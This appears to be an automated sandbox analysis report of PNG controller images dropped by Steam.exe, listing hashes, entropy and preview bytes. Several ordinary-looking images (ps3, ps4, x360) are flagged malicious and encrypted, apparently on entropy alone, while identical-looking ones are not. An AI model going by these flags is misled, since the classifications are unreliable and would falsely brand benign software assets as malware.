C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_android.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1000 x 598, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	178193
Entropy (8bit):	7.983540944787846
Encrypted:	false
SSDEEP:
MD5:	AF50A6DC2A0FE83F9DE712E0C718E849
SHA1:	35CE45DE2136A78F3F715F6E904EAB39A7C0034B
SHA-256:	035653B5F5B7F878466D4863C17D5FFD1F204601F379E93DAFD8A6D6C78BEFB4
SHA-512:	06A341C8C7A116FE919301B9465BD7CFBBBF1AEA7309E3424D6CE4C8F4AF91719122E2C1DE0E0FA7306AEEFD413C34D50E8B01159D7552302F98A723796D60DE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......V........U....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_apple.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1000 x 598, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	166424
Entropy (8bit):	7.984477577477486
Encrypted:	false
SSDEEP:
MD5:	327DDE6FBCDCC16955B45D8CD24C64E8
SHA1:	6FDFB5E284B9AD488D2C91A1BC9558DE5DBB7C6E
SHA-256:	D902D63BA175066D078645F19B305A5B1B5FF8D07F13109B674327D80F41EBD4
SHA-512:	D51240FFD02821AAF13EF0EEBA15DAE48ABAC3399ADBB6FFF1EBCF56C90E7505C700E59821336AACB71BF77D28507A2EE9774AE8ADB394A7EE8FA16A3AAD88BC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......V........U....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_generic.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1000 x 598, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	200459
Entropy (8bit):	7.987406413608057
Encrypted:	false
SSDEEP:
MD5:	D8126D30491CF4FC59A365490E16B1A7
SHA1:	B46514EDE08B5D8874628CCAD3D50B4D11CB64BA
SHA-256:	F7562A2DCDAD92DFD3B37B39E24BC8465A50D90118DC12D994B0813EFBF114AC
SHA-512:	16B7CC0E8F51C8686ABD7D46D5FF52BF11539A11FAEB9F213DCC435DDB605CECEDC3C653E5F6C92429684021BDCA34ED473B0AC800732CF867817B61A8E6B7D2
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......V........U....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_i_a.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1800 x 878, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	68507
Entropy (8bit):	7.72531326543922
Encrypted:	false
SSDEEP:
MD5:	547A643DDE8675923EAB526C7F02E5B3
SHA1:	EEB589CCBB1D7172744FA328E605DDEF1E8DCB8D
SHA-256:	1BB61E56C9A5E00566F1E5C2C4BB3F51CEEEB7B0797DD11B6F73CB7F4959E54C
SHA-512:	4BC7F9E2892250BF26475F1C26D08EDAA4F0174F0D0EB9105EE752934428A864D9B873BAFE7143D61248A9F47E5915801303F0AC67AFAB2C06A205F7027B2399
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......n......q].....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_i_b.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1800 x 878, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	68908
Entropy (8bit):	7.732752873879182
Encrypted:	false
SSDEEP:
MD5:	D641B58F1163B40EFD87E8BBB35D1FDE
SHA1:	D2E6DF8C7D88CE3E60DDE7246800738C7F62776C
SHA-256:	87CB5FCF5F8F629373615A33380751085D9C8303BB9C7CA2AAA991D7E61DCDF5
SHA-512:	54DEE2574E2C845446C398D9ED912638651ACCED4C50C81D7B4B5F1D966A030D4B5E5141D406488046CF8E8AB19F10BD72159925093F6B3BAB1099BFD3E5C408
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......n......q].....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_i_steam.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1800 x 878, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	68994
Entropy (8bit):	7.733771441467908
Encrypted:	false
SSDEEP:
MD5:	63A2763F1B31C0F5D45AB3B3C99C7AA8
SHA1:	56AA2CA3EB8622306243AE1D3850DC464413A465
SHA-256:	C0E4E89DD5336FABA104C8B66C25700E4F3DDD8AF20ADCB0F69AD0F2440D3D62
SHA-512:	D873884CEF38C00631027DC9088BB4A051840722CCA1850F217BBCEFB216577C58C190847995552D57E3CC32D9258BB46BBD44A16223C963DB092C8F604F8F24
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......n......q].....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_i_x.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1800 x 878, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	68932
Entropy (8bit):	7.733775390343823
Encrypted:	false
SSDEEP:
MD5:	2F9E8C111CF47846E1EDCC475173461B
SHA1:	F4AA9B13BA4A524C4ACE26AFBC8CC4560E8A91DD
SHA-256:	143CA280AF6CECF74C5AE2668711BF7EBCEE2C1AD3E3FACA4027D8545990DAA2
SHA-512:	02F70FF255C0923B074D3152F69BD91B460C9C582AC22D6D32FCDC3DB3586422B15973CB6337909E67F6F9C258B2FEC38CF6B277D4B9CF2FF1B6D3CA6EF0FCDD
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......n......q].....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_i_y.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1800 x 878, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	68861
Entropy (8bit):	7.736869581458048
Encrypted:	false
SSDEEP:
MD5:	39750B043573BD4476C7720F44BB426C
SHA1:	2AC616D92E3420E6E5818FFC5AF79F683E7B51F4
SHA-256:	906009251F4E31E100C8EA68740171801DAE7C0B196A014AEF8539605063C1EE
SHA-512:	C4E677D5F86E787EB28204E4B898E509C7870E0661D77335CDCE7538291E5665E10EA78A46ACEA240501F99462E87F44F1ECACD929338C6B0E0994FB0FB2AE02
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......n......q].....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_ps3.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1000 x 598, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	454197
Entropy (8bit):	7.991291660599307
Encrypted:	true
SSDEEP:
MD5:	D36BFA1454DB0254D9CB711FA649F6B6
SHA1:	A88D669FFF10F7862E7ED98A32F8A2CA4F58A18A
SHA-256:	1460A2CCBB30EAADF68B45C61D027CD250208A797EF5B82E151055FD9510C73C
SHA-512:	480A7D86DD643F25E96EA056030814EB9FADD32BBE8E44698D78556EFEC98D054559B78326BB856EF0C57E2CC3E2ACEA16F4F88792F9FA4269589EA016CEE0AA
Malicious:	true
Reputation:	unknown
Preview:	.PNG........IHDR.......V........U....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_ps4.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1000 x 598, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	414283
Entropy (8bit):	7.9907093201852115
Encrypted:	true
SSDEEP:
MD5:	27AE976E792750958DD5C02E71A1E1CA
SHA1:	B73324EBB97F60511FF52DBD2A4C158454A3C6B1
SHA-256:	6F3A83A28C00CD107B96A82153B1685B010A5574F7A1F8E684A1E21B840CCDAC
SHA-512:	838789551E58AB261BB7064F95CB22EAE4556C45E39C849C54DE233732371EFD30AE90A28DD4BB79DFFBE0F2AB00FA815B9EAC677219C10A7941E4FE28D97F67
Malicious:	true
Reputation:	unknown
Preview:	.PNG........IHDR.......V........U....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_ps5.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1075 x 1075, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	380733
Entropy (8bit):	7.986631937226831
Encrypted:	false
SSDEEP:
MD5:	5D56BC071C00F56813A2670DC991A753
SHA1:	FA3A49AC198CD46F038BC39C9EA699CABC191408
SHA-256:	F7771570E234B915B85B993A3EDEB272A94FC3241958192C4100F8F9AF628283
SHA-512:	99A9A80A2244F7FC739A7ACF6DFC818A42940B56A900116C7D68E7925D42017993828CCCD421057CC4D27FD6EB53DB04F9B3591AC8312551FA717F1D72021B18
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...3...3.....~7g.....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^...%Gu._.s..9.j....$D.9....g.......~.Y...<'...`...$.(.IH. PZ..9.l...........;agvgg....v...[..SUN.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_steam_deck.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 448 x 181, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12815
Entropy (8bit):	7.9337973209090995
Encrypted:	false
SSDEEP:
MD5:	0A59FE2C7EF08CFCE6410AA5D2460CA3
SHA1:	11A8750FD4B59B7490F9C2E81B4A31B8A2E30C44
SHA-256:	6166CF24C3BDA7A1BB3CFE896A1CB389066DB733B8815496D339A0632E321C1B
SHA-512:	70D736B7E004290B698763FA35B5F4B75E0625D2A520CD7198EF3BC364570BE07470553864954FA18221E19F87E0B06D5F6FE25CB2A709FEB380F05297A770C8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR............../.....pHYs..........o.d....tEXtSoftware.www.inkscape.org..<... .IDATx...w\S..?..9...B...A@...V*...YG.U.V[...{......Vk+..j..j.(...T. K$.MH.!..../" +....x......9.pi^.s>..#....W.V$.V4I....1.ahuIk...1f..!d....,...C..5f..A..4Q....._j.Z..:...U......O.aG.4...@..$E....4.F.a.4.. .....nU.9c..B--4.(.'..@.....V.M.h....-.....-&......D..o~.2$...a..a....?..'H..I...%4......K.u.f..a......zo...4.'.\\|...&t.^..L.C.0fC..........!..[<.7m....fo.....:Z.....zifK..`...]B}6n..L.0.........u.B.j{?,,...l.I....)..../W.ZU..%#..........u.%t.\|..D....6m2.2yCh....6.`S@.[.j....b..a..@..)..I2Y.?_. ...F..u+.-...aC.-u.WI........!u.%.a...J.3...jf...[...[@r.-4P.u.C...P...E..n+...][..........V.S6...a.T-K...e.Z$...p....M/...2.+..Z.._.....[w. )r.N..D.:g.h6..I..M...[CK.iZ[..'.......;1.LA.{..BQV.g`0..sssg..3@i..RU.......!c..o...@.w.A.T/.:....k.6.me.1w.........5A..A.:..$.N2.;...t.(\|2m.7.....]..j9MC...?}....{....{.(.......lzwHH.F...?..5.)..u:.W.,....>KL..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_switch_pro.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1000 x 598, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	391408
Entropy (8bit):	7.988246274455943
Encrypted:	false
SSDEEP:
MD5:	535DA43628D7A49E48D4585680CF347C
SHA1:	A1A71DF0BE24BCCC851ABD161549D52B54898A68
SHA-256:	E7526E1512F2A64C58097B5E2833ADD942829015D06DF7BC869F76518AF57A12
SHA-512:	0D16A9CAB08E464C6E2C3CEC270E0F31FA4B21B3217C68D0164437E9F86BC11FD1958CAF272933FE97672A485AC50D0BCF4145169D4E1AB25A6A2DF5E46AAF2D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......V........U....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_touch.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 707 x 428, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	42233
Entropy (8bit):	7.981254080174231
Encrypted:	false
SSDEEP:
MD5:	CC66BCB85C0225128A848AA5E2E9D168
SHA1:	C71525C41F10818F0C77E7806F7CE727EE0E61F4
SHA-256:	1C85DD82FE409CD2DF678954541908137D4D0DA24FE5C17BFBFDE788B788737E
SHA-512:	E8432A849A8CDBD7A6F0A06AEDAE2DE125CB79DC55B3DA798D2C6600DB79233ABEE60CB8665FAC2912ABAB246A3BE9E9ADB57233F716D4F69D66FFAAB2010AEC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............8.P....bKGD..............pHYs.................tIME.........?S....iTXtComment.....Created with GIMPd.e... .IDATx...y.\U.........,..../d%...@.T@DEq~"...$D.;.1......e.+*n .0.8.K.IH ...$.d.tz...{..TwhB..[...x@.S]u.n.}...s..G..S.S@...L..8m.S..........c..w.._.!..P.~"...H..>]Y......x..$A..X..^v66......].o\..k(..BJ._.=Q..}X.!...m.... ....F..?.m...2$q.A.I07@UV..{.x".C..`$q...:.y.,. ..q.l.!..g.9Z...J.Ge......E\].....y.Xl.C...r...qz..B.!.!..FaR..=1..9T....,R.U....A.X..d..B......>..E."5..N......,N..4E.CA.@..v.c]..9..q&l.t..V./.8.....G..8....1Nq..r..!..r..!N5\|....I........;....zb......Y....#=....mpf./k.?6....v.c..eC...r!".>]..e..J..0&..ZC...Vp.j.B.!..J..(D:..B.!....UZc!....!..c......K,D...B.!..BH..B.!.E..Y...B.!..BH..B.!.0...G.1(....B.1..T.j.B.....B.!......B.1L..~..b.H...B.1..x..c.B.....B.!F#.K....gX.!...@,..s.3,..B.!..kR..B.!...%aX.!..B...X..B.!..`,..B.!.FF..!...4....L.r..r.;....5...nvo.dw...B..</...~.3M..Nr..~n.`.....V...j...>r.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_x360.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1000 x 598, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	462172
Entropy (8bit):	7.990318238508088
Encrypted:	true
SSDEEP:
MD5:	8DA6F3AA390858284EBC66596CACD225
SHA1:	7C737304A34DA05EE01F42EF23EE8521442E5C60
SHA-256:	83F4916CF0F12F7A423417ACFBF7E219201419A479679098CA8FD74FAB8CC983
SHA-512:	DF921E7476890FA0D550CCA240590F581D29846D7EB674D7ED9A417EB6B097DDD02798A98A38C7BB227DC8776657F6B5F6707AC38CF8B95CFEF35DA51E3290A6
Malicious:	true
Reputation:	unknown
